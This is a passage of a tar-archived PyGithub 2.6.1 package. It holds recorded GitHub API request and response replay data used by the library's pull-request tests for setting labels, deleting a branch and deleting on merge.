[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testDeleteAndSetLabelsWithStringArguments.txt0000644000175100001660000000615114756101563031443 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https PUT api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testDeleteBranch.txt0000644000175100001660000002452414756101563024432 0ustar00runnerdockerhttps GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9e7706dfd919e04e9df872052add55475df9953d3b9c0d20df34fdeb8effc446"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '29'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFDC:379D:155E19:322526:5FD3F001')] {"name":"revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","_links":{"self":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","html":"https://github.com/austinsasko/PyGithub/tree/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing/protection"} https GET api.github.com None /repos/austinsasko/PyGithub/pulls?head=austinsasko%3Arevert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing&per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5b0893a1da6bb8cfc57acf8d3216d8751325252d4a5750cede94ca1dd53c6a54"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '30'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FFDD:43CF:26E97C:578F6F:5FD3F002')] [] https GET api.github.com None /repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"50d4d8f24500a45face48f0774778f2df511639264b29745fc3a3dd0880943a6"'), ('Last-Modified', 'Fri, 11 Dec 2020 22:17:23 GMT'), ('X-Poll-Interval', '300'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '31'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFDE:5324:70192:13F750:5FD3F002')] {"ref":"refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","node_id":"MDM6UmVmMzIwNjYxMzYwOnJlZnMvaGVhZHMvcmV2ZXJ0LTIwLXJldmVydC0xOS1yZXZlcnQtMTgtcmV2ZXJ0LTE2LXJldmVydC0xNS1yZXZlcnQtMTQtcmV2ZXJ0LTEzLXJldmVydC0xMi1yZXZlcnQtMTEtcmV2ZXJ0LTEwLXJldmVydC05LXJldmVydC04LXJldmVydC03LXJldmVydC02LXJldmVydC01LXJldmVydC00LXJldmVydC0zLXJldmVydC0yLXJldmVydC0xLXRlc3Rpbmc=","url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","object":{"sha":"adf76c80c6d28dc2d47b1a22622082786192c887","type":"commit","url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits/adf76c80c6d28dc2d47b1a22622082786192c887"}} https DELETE api.github.com None /repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:38 GMT'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '32'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'FFDF:110B:3EC696:68A9AE:5FD3F002')] https GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '33'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFE0:5E4B:63459:11BB67:5FD3F002')] {"message":"Branch not found","documentation_url":"https://docs.github.com/rest/reference/repos#get-a-branch"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testDeleteOnMerge.txt0000644000175100001660000003537414756101563024576 0ustar00runnerdockerhttps GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9e7706dfd919e04e9df872052add55475df9953d3b9c0d20df34fdeb8effc446"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '14'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFC4:33B9:DB37:25D2D:5FD3EFEF')] {"name":"revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","_links":{"self":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","html":"https://github.com/austinsasko/PyGithub/tree/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing/protection"} https GET api.github.com None /repos/austinsasko/PyGithub/pulls/21/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '15'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFC5:0453:C83EB:15ECA5:5FD3EFEF')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/pulls#check-if-a-pull-request-has-been-merged"} https PUT api.github.com None /repos/austinsasko/PyGithub/pulls/21/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {} 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4e99368280fe2d1151de99cd9df354bad64f5a295f99e0413890ad16101409b8"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '16'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFC6:5F02:72996:10253D:5FD3EFEF')] {"sha":"40abf8b68f4c86d0001cc9a03f19cf8f1bd018e1","merged":true,"message":"Pull Request successfully merged"} https GET api.github.com None /repos/austinsasko/PyGithub/pulls?head=austinsasko%3Arevert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing&per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5b0893a1da6bb8cfc57acf8d3216d8751325252d4a5750cede94ca1dd53c6a54"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '17'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FFC7:21A6:23BA5:5F231:5FD3EFF1')] [] https GET api.github.com None /repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"50d4d8f24500a45face48f0774778f2df511639264b29745fc3a3dd0880943a6"'), ('Last-Modified', 'Fri, 11 Dec 2020 22:14:24 GMT'), ('X-Poll-Interval', '300'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '18'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFC8:66F6:9F63D:16684A:5FD3EFF1')] {"ref":"refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","node_id":"MDM6UmVmMzIwNjYxMzYwOnJlZnMvaGVhZHMvcmV2ZXJ0LTIwLXJldmVydC0xOS1yZXZlcnQtMTgtcmV2ZXJ0LTE2LXJldmVydC0xNS1yZXZlcnQtMTQtcmV2ZXJ0LTEzLXJldmVydC0xMi1yZXZlcnQtMTEtcmV2ZXJ0LTEwLXJldmVydC05LXJldmVydC04LXJldmVydC03LXJldmVydC02LXJldmVydC01LXJldmVydC00LXJldmVydC0zLXJldmVydC0yLXJldmVydC0xLXRlc3Rpbmc=","url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","object":{"sha":"adf76c80c6d28dc2d47b1a22622082786192c887","type":"commit","url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits/adf76c80c6d28dc2d47b1a22622082786192c887"}} https DELETE api.github.com None /repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:21 GMT'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '19'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'FFC9:6734:71C11:1089E6:5FD3EFF1')] https GET api.github.com None /repos/austinsasko/PyGithub/pulls/21/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:22 GMT'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), 